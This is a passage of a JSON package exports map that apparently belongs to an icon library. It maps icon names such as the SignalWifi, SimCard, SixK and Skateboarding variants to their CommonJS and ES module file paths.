\"./SignalWifi2BarLock.js\",\n      \"import\": \"./SignalWifi2BarLock.mjs\",\n      \"default\": \"./SignalWifi2BarLock.mjs\"\n    },\n    \"./SignalWifi2BarLockOutlined\": {\n      \"require\": \"./SignalWifi2BarLockOutlined.js\",\n      \"import\": \"./SignalWifi2BarLockOutlined.mjs\",\n      \"default\": \"./SignalWifi2BarLockOutlined.mjs\"\n    },\n    \"./SignalWifi2BarLockRounded\": {\n      \"require\": \"./SignalWifi2BarLockRounded.js\",\n      \"import\": \"./SignalWifi2BarLockRounded.mjs\",\n      \"default\": \"./SignalWifi2BarLockRounded.mjs\"\n    },\n    \"./SignalWifi2BarLockSharp\": {\n      \"import\": \"./SignalWifi2BarLockSharp.mjs\",\n      \"require\": \"./SignalWifi2BarLockSharp.js\",\n      \"default\": \"./SignalWifi2BarLockSharp.mjs\"\n    },\n    \"./SignalWifi2BarLockTwoTone\": {\n      \"import\": \"./SignalWifi2BarLockTwoTone.mjs\",\n      \"require\": \"./SignalWifi2BarLockTwoTone.js\",\n      \"default\": \"./SignalWifi2BarLockTwoTone.mjs\"\n    },\n    \"./SignalWifi2BarOutlined\": {\n      \"import\": \"./SignalWifi2BarOutlined.mjs\",\n      \"require\": \"./SignalWifi2BarOutlined.js\",\n      \"default\": \"./SignalWifi2BarOutlined.mjs\"\n    },\n    \"./SignalWifi2BarRounded\": {\n      \"import\": \"./SignalWifi2BarRounded.mjs\",\n      \"require\": \"./SignalWifi2BarRounded.js\",\n      \"default\": \"./SignalWifi2BarRounded.mjs\"\n    },\n    \"./SignalWifi2BarSharp\": {\n      \"import\": \"./SignalWifi2BarSharp.mjs\",\n      \"require\": \"./SignalWifi2BarSharp.js\",\n      \"default\": \"./SignalWifi2BarSharp.mjs\"\n    },\n    \"./SignalWifi2BarTwoTone\": {\n      \"import\": \"./SignalWifi2BarTwoTone.mjs\",\n      \"require\": \"./SignalWifi2BarTwoTone.js\",\n      \"default\": \"./SignalWifi2BarTwoTone.mjs\"\n    },\n    \"./SignalWifi3Bar\": {\n      \"import\": \"./SignalWifi3Bar.mjs\",\n      \"require\": \"./SignalWifi3Bar.js\",\n      \"default\": \"./SignalWifi3Bar.mjs\"\n    },\n    \"./SignalWifi3BarLock\": {\n      \"import\": \"./SignalWifi3BarLock.mjs\",\n      \"require\": \"./SignalWifi3BarLock.js\",\n      \"default\": \"./SignalWifi3BarLock.mjs\"\n    },\n    \"./SignalWifi3BarLockOutlined\": {\n      \"import\": \"./SignalWifi3BarLockOutlined.mjs\",\n      \"require\": \"./SignalWifi3BarLockOutlined.js\",\n      \"default\": \"./SignalWifi3BarLockOutlined.mjs\"\n    },\n    \"./SignalWifi3BarLockRounded\": {\n      \"import\": \"./SignalWifi3BarLockRounded.mjs\",\n      \"require\": \"./SignalWifi3BarLockRounded.js\",\n      \"default\": \"./SignalWifi3BarLockRounded.mjs\"\n    },\n    \"./SignalWifi3BarLockSharp\": {\n      \"require\": \"./SignalWifi3BarLockSharp.js\",\n      \"import\": \"./SignalWifi3BarLockSharp.mjs\",\n      \"default\": \"./SignalWifi3BarLockSharp.mjs\"\n    },\n    \"./SignalWifi3BarLockTwoTone\": {\n      \"require\": \"./SignalWifi3BarLockTwoTone.js\",\n      \"import\": \"./SignalWifi3BarLockTwoTone.mjs\",\n      \"default\": \"./SignalWifi3BarLockTwoTone.mjs\"\n    },\n    \"./SignalWifi3BarOutlined\": {\n      \"require\": \"./SignalWifi3BarOutlined.js\",\n      \"import\": \"./SignalWifi3BarOutlined.mjs\",\n      \"default\": \"./SignalWifi3BarOutlined.mjs\"\n    },\n    \"./SignalWifi3BarRounded\": {\n      \"require\": \"./SignalWifi3BarRounded.js\",\n      \"import\": \"./SignalWifi3BarRounded.mjs\",\n      \"default\": \"./SignalWifi3BarRounded.mjs\"\n    },\n    \"./SignalWifi3BarSharp\": {\n      \"require\": \"./SignalWifi3BarSharp.js\",\n      \"import\": \"./SignalWifi3BarSharp.mjs\",\n      \"default\": \"./SignalWifi3BarSharp.mjs\"\n    },\n    \"./SignalWifi3BarTwoTone\": {\n      \"require\": \"./SignalWifi3BarTwoTone.js\",\n      \"import\": \"./SignalWifi3BarTwoTone.mjs\",\n      \"default\": \"./SignalWifi3BarTwoTone.mjs\"\n    },\n    \"./SignalWifi4Bar\": {\n      \"require\": \"./SignalWifi4Bar.js\",\n      \"import\": \"./SignalWifi4Bar.mjs\",\n      \"default\": \"./SignalWifi4Bar.mjs\"\n    },\n    \"./SignalWifi4BarLock\": {\n      \"require\": \"./SignalWifi4BarLock.js\",\n      \"import\": \"./SignalWifi4BarLock.mjs\",\n      \"default\": \"./SignalWifi4BarLock.mjs\"\n    },\n    \"./SignalWifi4BarLockOutlined\": {\n      \"require\": \"./SignalWifi4BarLockOutlined.js\",\n      \"import\": \"./SignalWifi4BarLockOutlined.mjs\",\n      \"default\": \"./SignalWifi4BarLockOutlined.mjs\"\n    },\n    \"./SignalWifi4BarLockRounded\": {\n      \"require\": \"./SignalWifi4BarLockRounded.js\",\n      \"import\": \"./SignalWifi4BarLockRounded.mjs\",\n      \"default\": \"./SignalWifi4BarLockRounded.mjs\"\n    },\n    \"./SignalWifi4BarLockSharp\": {\n      \"require\": \"./SignalWifi4BarLockSharp.js\",\n      \"import\": \"./SignalWifi4BarLockSharp.mjs\",\n      \"default\": \"./SignalWifi4BarLockSharp.mjs\"\n    },\n    \"./SignalWifi4BarLockTwoTone\": {\n      \"require\": \"./SignalWifi4BarLockTwoTone.js\",\n      \"import\": \"./SignalWifi4BarLockTwoTone.mjs\",\n      \"default\": \"./SignalWifi4BarLockTwoTone.mjs\"\n    },\n    \"./SignalWifi4BarOutlined\": {\n      \"require\": \"./SignalWifi4BarOutlined.js\",\n      \"import\": \"./SignalWifi4BarOutlined.mjs\",\n      \"default\": \"./SignalWifi4BarOutlined.mjs\"\n    },\n    \"./SignalWifi4BarRounded\": {\n      \"require\": \"./SignalWifi4BarRounded.js\",\n      \"import\": \"./SignalWifi4BarRounded.mjs\",\n      \"default\": \"./SignalWifi4BarRounded.mjs\"\n    },\n    \"./SignalWifi4BarSharp\": {\n      \"require\": \"./SignalWifi4BarSharp.js\",\n      \"import\": \"./SignalWifi4BarSharp.mjs\",\n      \"default\": \"./SignalWifi4BarSharp.mjs\"\n    },\n    \"./SignalWifi4BarTwoTone\": {\n      \"require\": \"./SignalWifi4BarTwoTone.js\",\n      \"import\": \"./SignalWifi4BarTwoTone.mjs\",\n      \"default\": \"./SignalWifi4BarTwoTone.mjs\"\n    },\n    \"./SignalWifiBad\": {\n      \"import\": \"./SignalWifiBad.mjs\",\n      \"require\": \"./SignalWifiBad.js\",\n      \"default\": \"./SignalWifiBad.mjs\"\n    },\n    \"./SignalWifiBadOutlined\": {\n      \"import\": \"./SignalWifiBadOutlined.mjs\",\n      \"require\": \"./SignalWifiBadOutlined.js\",\n      \"default\": \"./SignalWifiBadOutlined.mjs\"\n    },\n    \"./SignalWifiBadRounded\": {\n      \"import\": \"./SignalWifiBadRounded.mjs\",\n      \"require\": \"./SignalWifiBadRounded.js\",\n      \"default\": \"./SignalWifiBadRounded.mjs\"\n    },\n    \"./SignalWifiBadSharp\": {\n      \"import\": \"./SignalWifiBadSharp.mjs\",\n      \"require\": \"./SignalWifiBadSharp.js\",\n      \"default\": \"./SignalWifiBadSharp.mjs\"\n    },\n    \"./SignalWifiBadTwoTone\": {\n      \"import\": \"./SignalWifiBadTwoTone.mjs\",\n      \"require\": \"./SignalWifiBadTwoTone.js\",\n      \"default\": \"./SignalWifiBadTwoTone.mjs\"\n    },\n    \"./SignalWifiConnectedNoInternet0TwoTone\": {\n      \"import\": \"./SignalWifiConnectedNoInternet0TwoTone.mjs\",\n      \"require\": \"./SignalWifiConnectedNoInternet0TwoTone.js\",\n      \"default\": \"./SignalWifiConnectedNoInternet0TwoTone.mjs\"\n    },\n    \"./SignalWifiConnectedNoInternet1TwoTone\": {\n      \"import\": \"./SignalWifiConnectedNoInternet1TwoTone.mjs\",\n      \"require\": \"./SignalWifiConnectedNoInternet1TwoTone.js\",\n      \"default\": \"./SignalWifiConnectedNoInternet1TwoTone.mjs\"\n    },\n    \"./SignalWifiConnectedNoInternet2TwoTone\": {\n      \"require\": \"./SignalWifiConnectedNoInternet2TwoTone.js\",\n      \"import\": \"./SignalWifiConnectedNoInternet2TwoTone.mjs\",\n      \"default\": \"./SignalWifiConnectedNoInternet2TwoTone.mjs\"\n    },\n    \"./SignalWifiConnectedNoInternet3TwoTone\": {\n      \"require\": \"./SignalWifiConnectedNoInternet3TwoTone.js\",\n      \"import\": \"./SignalWifiConnectedNoInternet3TwoTone.mjs\",\n      \"default\": \"./SignalWifiConnectedNoInternet3TwoTone.mjs\"\n    },\n    \"./SignalWifiConnectedNoInternet4\": {\n      \"require\": \"./SignalWifiConnectedNoInternet4.js\",\n      \"import\": \"./SignalWifiConnectedNoInternet4.mjs\",\n      \"default\": \"./SignalWifiConnectedNoInternet4.mjs\"\n    },\n    \"./SignalWifiConnectedNoInternet4Outlined\": {\n      \"require\": \"./SignalWifiConnectedNoInternet4Outlined.js\",\n      \"import\": \"./SignalWifiConnectedNoInternet4Outlined.mjs\",\n      \"default\": \"./SignalWifiConnectedNoInternet4Outlined.mjs\"\n    },\n    \"./SignalWifiConnectedNoInternet4Rounded\": {\n      \"require\": \"./SignalWifiConnectedNoInternet4Rounded.js\",\n      \"import\": \"./SignalWifiConnectedNoInternet4Rounded.mjs\",\n      \"default\": \"./SignalWifiConnectedNoInternet4Rounded.mjs\"\n    },\n    \"./SignalWifiConnectedNoInternet4Sharp\": {\n      \"require\": \"./SignalWifiConnectedNoInternet4Sharp.js\",\n      \"import\": \"./SignalWifiConnectedNoInternet4Sharp.mjs\",\n      \"default\": \"./SignalWifiConnectedNoInternet4Sharp.mjs\"\n    },\n    \"./SignalWifiConnectedNoInternet4TwoTone\": {\n      \"require\": \"./SignalWifiConnectedNoInternet4TwoTone.js\",\n      \"import\": \"./SignalWifiConnectedNoInternet4TwoTone.mjs\",\n      \"default\": \"./SignalWifiConnectedNoInternet4TwoTone.mjs\"\n    },\n    \"./SignalWifiOff\": {\n      \"require\": \"./SignalWifiOff.js\",\n      \"import\": \"./SignalWifiOff.mjs\",\n      \"default\": \"./SignalWifiOff.mjs\"\n    },\n    \"./SignalWifiOffOutlined\": {\n      \"require\": \"./SignalWifiOffOutlined.js\",\n      \"import\": \"./SignalWifiOffOutlined.mjs\",\n      \"default\": \"./SignalWifiOffOutlined.mjs\"\n    },\n    \"./SignalWifiOffRounded\": {\n      \"require\": \"./SignalWifiOffRounded.js\",\n      \"import\": \"./SignalWifiOffRounded.mjs\",\n      \"default\": \"./SignalWifiOffRounded.mjs\"\n    },\n    \"./SignalWifiOffSharp\": {\n      \"require\": \"./SignalWifiOffSharp.js\",\n      \"import\": \"./SignalWifiOffSharp.mjs\",\n      \"default\": \"./SignalWifiOffSharp.mjs\"\n    },\n    \"./SignalWifiOffTwoTone\": {\n      \"require\": \"./SignalWifiOffTwoTone.js\",\n      \"import\": \"./SignalWifiOffTwoTone.mjs\",\n      \"default\": \"./SignalWifiOffTwoTone.mjs\"\n    },\n    \"./SignalWifiStatusbar1BarTwoTone\": {\n      \"require\": \"./SignalWifiStatusbar1BarTwoTone.js\",\n      \"import\": \"./SignalWifiStatusbar1BarTwoTone.mjs\",\n      \"default\": \"./SignalWifiStatusbar1BarTwoTone.mjs\"\n    },\n    \"./SignalWifiStatusbar2BarTwoTone\": {\n      \"require\": \"./SignalWifiStatusbar2BarTwoTone.js\",\n      \"import\": \"./SignalWifiStatusbar2BarTwoTone.mjs\",\n      \"default\": \"./SignalWifiStatusbar2BarTwoTone.mjs\"\n    },\n    \"./SignalWifiStatusbar3BarTwoTone\": {\n      \"require\": \"./SignalWifiStatusbar3BarTwoTone.js\",\n      \"import\": \"./SignalWifiStatusbar3BarTwoTone.mjs\",\n      \"default\": \"./SignalWifiStatusbar3BarTwoTone.mjs\"\n    },\n    \"./SignalWifiStatusbar4Bar\": {\n      \"require\": \"./SignalWifiStatusbar4Bar.js\",\n      \"import\": \"./SignalWifiStatusbar4Bar.mjs\",\n      \"default\": \"./SignalWifiStatusbar4Bar.mjs\"\n    },\n    \"./SignalWifiStatusbar4BarOutlined\": {\n      \"require\": \"./SignalWifiStatusbar4BarOutlined.js\",\n      \"import\": \"./SignalWifiStatusbar4BarOutlined.mjs\",\n      \"default\": \"./SignalWifiStatusbar4BarOutlined.mjs\"\n    },\n    \"./SignalWifiStatusbar4BarRounded\": {\n      \"require\": \"./SignalWifiStatusbar4BarRounded.js\",\n      \"import\": \"./SignalWifiStatusbar4BarRounded.mjs\",\n      \"default\": \"./SignalWifiStatusbar4BarRounded.mjs\"\n    },\n    \"./SignalWifiStatusbar4BarSharp\": {\n      \"require\": \"./SignalWifiStatusbar4BarSharp.js\",\n      \"import\": \"./SignalWifiStatusbar4BarSharp.mjs\",\n      \"default\": \"./SignalWifiStatusbar4BarSharp.mjs\"\n    },\n    \"./SignalWifiStatusbar4BarTwoTone\": {\n      \"require\": \"./SignalWifiStatusbar4BarTwoTone.js\",\n      \"import\": \"./SignalWifiStatusbar4BarTwoTone.mjs\",\n      \"default\": \"./SignalWifiStatusbar4BarTwoTone.mjs\"\n    },\n    \"./SignalWifiStatusbarConnectedNoInternet1TwoTone\": {\n      \"require\": \"./SignalWifiStatusbarConnectedNoInternet1TwoTone.js\",\n      \"import\": \"./SignalWifiStatusbarConnectedNoInternet1TwoTone.mjs\",\n      \"default\": \"./SignalWifiStatusbarConnectedNoInternet1TwoTone.mjs\"\n    },\n    \"./SignalWifiStatusbarConnectedNoInternet2TwoTone\": {\n      \"require\": \"./SignalWifiStatusbarConnectedNoInternet2TwoTone.js\",\n      \"import\": \"./SignalWifiStatusbarConnectedNoInternet2TwoTone.mjs\",\n      \"default\": \"./SignalWifiStatusbarConnectedNoInternet2TwoTone.mjs\"\n    },\n    \"./SignalWifiStatusbarConnectedNoInternet3TwoTone\": {\n      \"require\": \"./SignalWifiStatusbarConnectedNoInternet3TwoTone.js\",\n      \"import\": \"./SignalWifiStatusbarConnectedNoInternet3TwoTone.mjs\",\n      \"default\": \"./SignalWifiStatusbarConnectedNoInternet3TwoTone.mjs\"\n    },\n    \"./SignalWifiStatusbarConnectedNoInternet4\": {\n      \"require\": \"./SignalWifiStatusbarConnectedNoInternet4.js\",\n      \"import\": \"./SignalWifiStatusbarConnectedNoInternet4.mjs\",\n      \"default\": \"./SignalWifiStatusbarConnectedNoInternet4.mjs\"\n    },\n    \"./SignalWifiStatusbarConnectedNoInternet4Outlined\": {\n      \"import\": \"./SignalWifiStatusbarConnectedNoInternet4Outlined.mjs\",\n      \"require\": \"./SignalWifiStatusbarConnectedNoInternet4Outlined.js\",\n      \"default\": \"./SignalWifiStatusbarConnectedNoInternet4Outlined.mjs\"\n    },\n    \"./SignalWifiStatusbarConnectedNoInternet4Rounded\": {\n      \"import\": \"./SignalWifiStatusbarConnectedNoInternet4Rounded.mjs\",\n      \"require\": \"./SignalWifiStatusbarConnectedNoInternet4Rounded.js\",\n      \"default\": \"./SignalWifiStatusbarConnectedNoInternet4Rounded.mjs\"\n    },\n    \"./SignalWifiStatusbarConnectedNoInternet4Sharp\": {\n      \"import\": \"./SignalWifiStatusbarConnectedNoInternet4Sharp.mjs\",\n      \"require\": \"./SignalWifiStatusbarConnectedNoInternet4Sharp.js\",\n      \"default\": \"./SignalWifiStatusbarConnectedNoInternet4Sharp.mjs\"\n    },\n    \"./SignalWifiStatusbarConnectedNoInternet4TwoTone\": {\n      \"require\": \"./SignalWifiStatusbarConnectedNoInternet4TwoTone.js\",\n      \"import\": \"./SignalWifiStatusbarConnectedNoInternet4TwoTone.mjs\",\n      \"default\": \"./SignalWifiStatusbarConnectedNoInternet4TwoTone.mjs\"\n    },\n    \"./SignalWifiStatusbarConnectedNoInternetTwoTone\": {\n      \"require\": \"./SignalWifiStatusbarConnectedNoInternetTwoTone.js\",\n      \"import\": \"./SignalWifiStatusbarConnectedNoInternetTwoTone.mjs\",\n      \"default\": \"./SignalWifiStatusbarConnectedNoInternetTwoTone.mjs\"\n    },\n    \"./SignalWifiStatusbarNotConnectedTwoTone\": {\n      \"require\": \"./SignalWifiStatusbarNotConnectedTwoTone.js\",\n      \"import\": \"./SignalWifiStatusbarNotConnectedTwoTone.mjs\",\n      \"default\": \"./SignalWifiStatusbarNotConnectedTwoTone.mjs\"\n    },\n    \"./SignalWifiStatusbarNull\": {\n      \"require\": \"./SignalWifiStatusbarNull.js\",\n      \"import\": \"./SignalWifiStatusbarNull.mjs\",\n      \"default\": \"./SignalWifiStatusbarNull.mjs\"\n    },\n    \"./SignalWifiStatusbarNullOutlined\": {\n      \"require\": \"./SignalWifiStatusbarNullOutlined.js\",\n      \"import\": \"./SignalWifiStatusbarNullOutlined.mjs\",\n      \"default\": \"./SignalWifiStatusbarNullOutlined.mjs\"\n    },\n    \"./SignalWifiStatusbarNullRounded\": {\n      \"require\": \"./SignalWifiStatusbarNullRounded.js\",\n      \"import\": \"./SignalWifiStatusbarNullRounded.mjs\",\n      \"default\": \"./SignalWifiStatusbarNullRounded.mjs\"\n    },\n    \"./SignalWifiStatusbarNullSharp\": {\n      \"require\": \"./SignalWifiStatusbarNullSharp.js\",\n      \"import\": \"./SignalWifiStatusbarNullSharp.mjs\",\n      \"default\": \"./SignalWifiStatusbarNullSharp.mjs\"\n    },\n    \"./SignalWifiStatusbarNullTwoTone\": {\n      \"require\": \"./SignalWifiStatusbarNullTwoTone.js\",\n      \"import\": \"./SignalWifiStatusbarNullTwoTone.mjs\",\n      \"default\": \"./SignalWifiStatusbarNullTwoTone.mjs\"\n    },\n    \"./Signpost\": {\n      \"require\": \"./Signpost.js\",\n      \"import\": \"./Signpost.mjs\",\n      \"default\": \"./Signpost.mjs\"\n    },\n    \"./SignpostOutlined\": {\n      \"import\": \"./SignpostOutlined.mjs\",\n      \"require\": \"./SignpostOutlined.js\",\n      \"default\": \"./SignpostOutlined.mjs\"\n    },\n    \"./SignpostRounded\": {\n      \"import\": \"./SignpostRounded.mjs\",\n      \"require\": \"./SignpostRounded.js\",\n      \"default\": \"./SignpostRounded.mjs\"\n    },\n    \"./SignpostSharp\": {\n      \"import\": \"./SignpostSharp.mjs\",\n      \"require\": \"./SignpostSharp.js\",\n      \"default\": \"./SignpostSharp.mjs\"\n    },\n    \"./SignpostTwoTone\": {\n      \"import\": \"./SignpostTwoTone.mjs\",\n      \"require\": \"./SignpostTwoTone.js\",\n      \"default\": \"./SignpostTwoTone.mjs\"\n    },\n    \"./SimCard\": {\n      \"import\": \"./SimCard.mjs\",\n      \"require\": \"./SimCard.js\",\n      \"default\": \"./SimCard.mjs\"\n    },\n    \"./SimCardAlert\": {\n      \"import\": \"./SimCardAlert.mjs\",\n      \"require\": \"./SimCardAlert.js\",\n      \"default\": \"./SimCardAlert.mjs\"\n    },\n    \"./SimCardAlertOutlined\": {\n      \"import\": \"./SimCardAlertOutlined.mjs\",\n      \"require\": \"./SimCardAlertOutlined.js\",\n      \"default\": \"./SimCardAlertOutlined.mjs\"\n    },\n    \"./SimCardAlertRounded\": {\n      \"import\": \"./SimCardAlertRounded.mjs\",\n      \"require\": \"./SimCardAlertRounded.js\",\n      \"default\": \"./SimCardAlertRounded.mjs\"\n    },\n    \"./SimCardAlertSharp\": {\n      \"import\": \"./SimCardAlertSharp.mjs\",\n      \"require\": \"./SimCardAlertSharp.js\",\n      \"default\": \"./SimCardAlertSharp.mjs\"\n    },\n    \"./SimCardAlertTwoTone\": {\n      \"require\": \"./SimCardAlertTwoTone.js\",\n      \"import\": \"./SimCardAlertTwoTone.mjs\",\n      \"default\": \"./SimCardAlertTwoTone.mjs\"\n    },\n    \"./SimCardDownload\": {\n      \"require\": \"./SimCardDownload.js\",\n      \"import\": \"./SimCardDownload.mjs\",\n      \"default\": \"./SimCardDownload.mjs\"\n    },\n    \"./SimCardDownloadOutlined\": {\n      \"require\": \"./SimCardDownloadOutlined.js\",\n      \"import\": \"./SimCardDownloadOutlined.mjs\",\n      \"default\": \"./SimCardDownloadOutlined.mjs\"\n    },\n    \"./SimCardDownloadRounded\": {\n      \"require\": \"./SimCardDownloadRounded.js\",\n      \"import\": \"./SimCardDownloadRounded.mjs\",\n      \"default\": \"./SimCardDownloadRounded.mjs\"\n    },\n    \"./SimCardDownloadSharp\": {\n      \"require\": \"./SimCardDownloadSharp.js\",\n      \"import\": \"./SimCardDownloadSharp.mjs\",\n      \"default\": \"./SimCardDownloadSharp.mjs\"\n    },\n    \"./SimCardDownloadTwoTone\": {\n      \"require\": \"./SimCardDownloadTwoTone.js\",\n      \"import\": \"./SimCardDownloadTwoTone.mjs\",\n      \"default\": \"./SimCardDownloadTwoTone.mjs\"\n    },\n    \"./SimCardOutlined\": {\n      \"require\": \"./SimCardOutlined.js\",\n      \"import\": \"./SimCardOutlined.mjs\",\n      \"default\": \"./SimCardOutlined.mjs\"\n    },\n    \"./SimCardRounded\": {\n      \"require\": \"./SimCardRounded.js\",\n      \"import\": \"./SimCardRounded.mjs\",\n      \"default\": \"./SimCardRounded.mjs\"\n    },\n    \"./SimCardSharp\": {\n      \"require\": \"./SimCardSharp.js\",\n      \"import\": \"./SimCardSharp.mjs\",\n      \"default\": \"./SimCardSharp.mjs\"\n    },\n    \"./SimCardTwoTone\": {\n      \"require\": \"./SimCardTwoTone.js\",\n      \"import\": \"./SimCardTwoTone.mjs\",\n      \"default\": \"./SimCardTwoTone.mjs\"\n    },\n    \"./SingleBed\": {\n      \"require\": \"./SingleBed.js\",\n      \"import\": \"./SingleBed.mjs\",\n      \"default\": \"./SingleBed.mjs\"\n    },\n    \"./SingleBedOutlined\": {\n      \"require\": \"./SingleBedOutlined.js\",\n      \"import\": \"./SingleBedOutlined.mjs\",\n      \"default\": \"./SingleBedOutlined.mjs\"\n    },\n    \"./SingleBedRounded\": {\n      \"import\": \"./SingleBedRounded.mjs\",\n      \"require\": \"./SingleBedRounded.js\",\n      \"default\": \"./SingleBedRounded.mjs\"\n    },\n    \"./SingleBedSharp\": {\n      \"import\": \"./SingleBedSharp.mjs\",\n      \"require\": \"./SingleBedSharp.js\",\n      \"default\": \"./SingleBedSharp.mjs\"\n    },\n    \"./SingleBedTwoTone\": {\n      \"import\": \"./SingleBedTwoTone.mjs\",\n      \"require\": \"./SingleBedTwoTone.js\",\n      \"default\": \"./SingleBedTwoTone.mjs\"\n    },\n    \"./Sip\": {\n      \"import\": \"./Sip.mjs\",\n      \"require\": \"./Sip.js\",\n      \"default\": \"./Sip.mjs\"\n    },\n    \"./SipOutlined\": {\n      \"import\": \"./SipOutlined.mjs\",\n      \"require\": \"./SipOutlined.js\",\n      \"default\": \"./SipOutlined.mjs\"\n    },\n    \"./SipRounded\": {\n      \"import\": \"./SipRounded.mjs\",\n      \"require\": \"./SipRounded.js\",\n      \"default\": \"./SipRounded.mjs\"\n    },\n    \"./SipSharp\": {\n      \"import\": \"./SipSharp.mjs\",\n      \"require\": \"./SipSharp.js\",\n      \"default\": \"./SipSharp.mjs\"\n    },\n    \"./SipTwoTone\": {\n      \"import\": \"./SipTwoTone.mjs\",\n      \"require\": \"./SipTwoTone.js\",\n      \"default\": \"./SipTwoTone.mjs\"\n    },\n    \"./SixK\": {\n      \"import\": \"./SixK.mjs\",\n      \"require\": \"./SixK.js\",\n      \"default\": \"./SixK.mjs\"\n    },\n    \"./SixKOutlined\": {\n      \"import\": \"./SixKOutlined.mjs\",\n      \"require\": \"./SixKOutlined.js\",\n      \"default\": \"./SixKOutlined.mjs\"\n    },\n    \"./SixKPlus\": {\n      \"import\": \"./SixKPlus.mjs\",\n      \"require\": \"./SixKPlus.js\",\n      \"default\": \"./SixKPlus.mjs\"\n    },\n    \"./SixKPlusOutlined\": {\n      \"import\": \"./SixKPlusOutlined.mjs\",\n      \"require\": \"./SixKPlusOutlined.js\",\n      \"default\": \"./SixKPlusOutlined.mjs\"\n    },\n    \"./SixKPlusRounded\": {\n      \"import\": \"./SixKPlusRounded.mjs\",\n      \"require\": \"./SixKPlusRounded.js\",\n      \"default\": \"./SixKPlusRounded.mjs\"\n    },\n    \"./SixKPlusSharp\": {\n      \"import\": \"./SixKPlusSharp.mjs\",\n      \"require\": \"./SixKPlusSharp.js\",\n      \"default\": \"./SixKPlusSharp.mjs\"\n    },\n    \"./SixKPlusTwoTone\": {\n      \"import\": \"./SixKPlusTwoTone.mjs\",\n      \"require\": \"./SixKPlusTwoTone.js\",\n      \"default\": \"./SixKPlusTwoTone.mjs\"\n    },\n    \"./SixKRounded\": {\n      \"import\": \"./SixKRounded.mjs\",\n      \"require\": \"./SixKRounded.js\",\n      \"default\": \"./SixKRounded.mjs\"\n    },\n    \"./SixKSharp\": {\n      \"import\": \"./SixKSharp.mjs\",\n      \"require\": \"./SixKSharp.js\",\n      \"default\": \"./SixKSharp.mjs\"\n    },\n    \"./SixKTwoTone\": {\n      \"import\": \"./SixKTwoTone.mjs\",\n      \"require\": \"./SixKTwoTone.js\",\n      \"default\": \"./SixKTwoTone.mjs\"\n    },\n    \"./SixMp\": {\n      \"import\": \"./SixMp.mjs\",\n      \"require\": \"./SixMp.js\",\n      \"default\": \"./SixMp.mjs\"\n    },\n    \"./SixMpOutlined\": {\n      \"require\": \"./SixMpOutlined.js\",\n      \"import\": \"./SixMpOutlined.mjs\",\n      \"default\": \"./SixMpOutlined.mjs\"\n    },\n    \"./SixMpRounded\": {\n      \"require\": \"./SixMpRounded.js\",\n      \"import\": \"./SixMpRounded.mjs\",\n      \"default\": \"./SixMpRounded.mjs\"\n    },\n    \"./SixMpSharp\": {\n      \"require\": \"./SixMpSharp.js\",\n      \"import\": \"./SixMpSharp.mjs\",\n      \"default\": \"./SixMpSharp.mjs\"\n    },\n    \"./SixMpTwoTone\": {\n      \"import\": \"./SixMpTwoTone.mjs\",\n      \"require\": \"./SixMpTwoTone.js\",\n      \"default\": \"./SixMpTwoTone.mjs\"\n    },\n    \"./SixteenMp\": {\n      \"import\": \"./SixteenMp.mjs\",\n      \"require\": \"./SixteenMp.js\",\n      \"default\": \"./SixteenMp.mjs\"\n    },\n    \"./SixteenMpOutlined\": {\n      \"import\": \"./SixteenMpOutlined.mjs\",\n      \"require\": \"./SixteenMpOutlined.js\",\n      \"default\": \"./SixteenMpOutlined.mjs\"\n    },\n    \"./SixteenMpRounded\": {\n      \"import\": \"./SixteenMpRounded.mjs\",\n      \"require\": \"./SixteenMpRounded.js\",\n      \"default\": \"./SixteenMpRounded.mjs\"\n    },\n    \"./SixteenMpSharp\": {\n      \"require\": \"./SixteenMpSharp.js\",\n      \"import\": \"./SixteenMpSharp.mjs\",\n      \"default\": \"./SixteenMpSharp.mjs\"\n    },\n    \"./SixteenMpTwoTone\": {\n      \"require\": \"./SixteenMpTwoTone.js\",\n      \"import\": \"./SixteenMpTwoTone.mjs\",\n      \"default\": \"./SixteenMpTwoTone.mjs\"\n    },\n    \"./SixtyFps\": {\n      \"require\": \"./SixtyFps.js\",\n      \"import\": \"./SixtyFps.mjs\",\n      \"default\": \"./SixtyFps.mjs\"\n    },\n    \"./SixtyFpsOutlined\": {\n      \"require\": \"./SixtyFpsOutlined.js\",\n      \"import\": \"./SixtyFpsOutlined.mjs\",\n      \"default\": \"./SixtyFpsOutlined.mjs\"\n    },\n    \"./SixtyFpsRounded\": {\n      \"require\": \"./SixtyFpsRounded.js\",\n      \"import\": \"./SixtyFpsRounded.mjs\",\n      \"default\": \"./SixtyFpsRounded.mjs\"\n    },\n    \"./SixtyFpsSelect\": {\n      \"require\": \"./SixtyFpsSelect.js\",\n      \"import\": \"./SixtyFpsSelect.mjs\",\n      \"default\": \"./SixtyFpsSelect.mjs\"\n    },\n    \"./SixtyFpsSelectOutlined\": {\n      \"require\": \"./SixtyFpsSelectOutlined.js\",\n      \"import\": \"./SixtyFpsSelectOutlined.mjs\",\n      \"default\": \"./SixtyFpsSelectOutlined.mjs\"\n    },\n    \"./SixtyFpsSelectRounded\": {\n      \"require\": \"./SixtyFpsSelectRounded.js\",\n      \"import\": \"./SixtyFpsSelectRounded.mjs\",\n      \"default\": \"./SixtyFpsSelectRounded.mjs\"\n    },\n    \"./SixtyFpsSelectSharp\": {\n      \"require\": \"./SixtyFpsSelectSharp.js\",\n      \"import\": \"./SixtyFpsSelectSharp.mjs\",\n      \"default\": \"./SixtyFpsSelectSharp.mjs\"\n    },\n    \"./SixtyFpsSelectTwoTone\": {\n      \"require\": \"./SixtyFpsSelectTwoTone.js\",\n      \"import\": \"./SixtyFpsSelectTwoTone.mjs\",\n      \"default\": \"./SixtyFpsSelectTwoTone.mjs\"\n    },\n    \"./SixtyFpsSharp\": {\n      \"require\": \"./SixtyFpsSharp.js\",\n      \"import\": \"./SixtyFpsSharp.mjs\",\n      \"default\": \"./SixtyFpsSharp.mjs\"\n    },\n    \"./SixtyFpsTwoTone\": {\n      \"require\": \"./SixtyFpsTwoTone.js\",\n      \"import\": \"./SixtyFpsTwoTone.mjs\",\n      \"default\": \"./SixtyFpsTwoTone.mjs\"\n    },\n    \"./Skateboarding\": {\n      \"require\": \"./Skateboarding.js\",\n      \"import\": \"./Skateboarding.mjs\",\n      \"default\": \"./Skateboarding.mjs\"\n    },\n    \"./SkateboardingOutlined\": {\n      \"require\": \"./SkateboardingOutlined.js\",\n      \"import\": \"./SkateboardingOutlined.mjs\",\n      \"default\": \"./SkateboardingOutlined.mjs\"\n    },\n    \"./SkateboardingRounded\": {\n      \"require\": \"./SkateboardingRounded.js\",\n      \"import\": \"./SkateboardingRounded.mjs\",\n      \"default\": \"./SkateboardingRounded.mjs\"\n    },\n    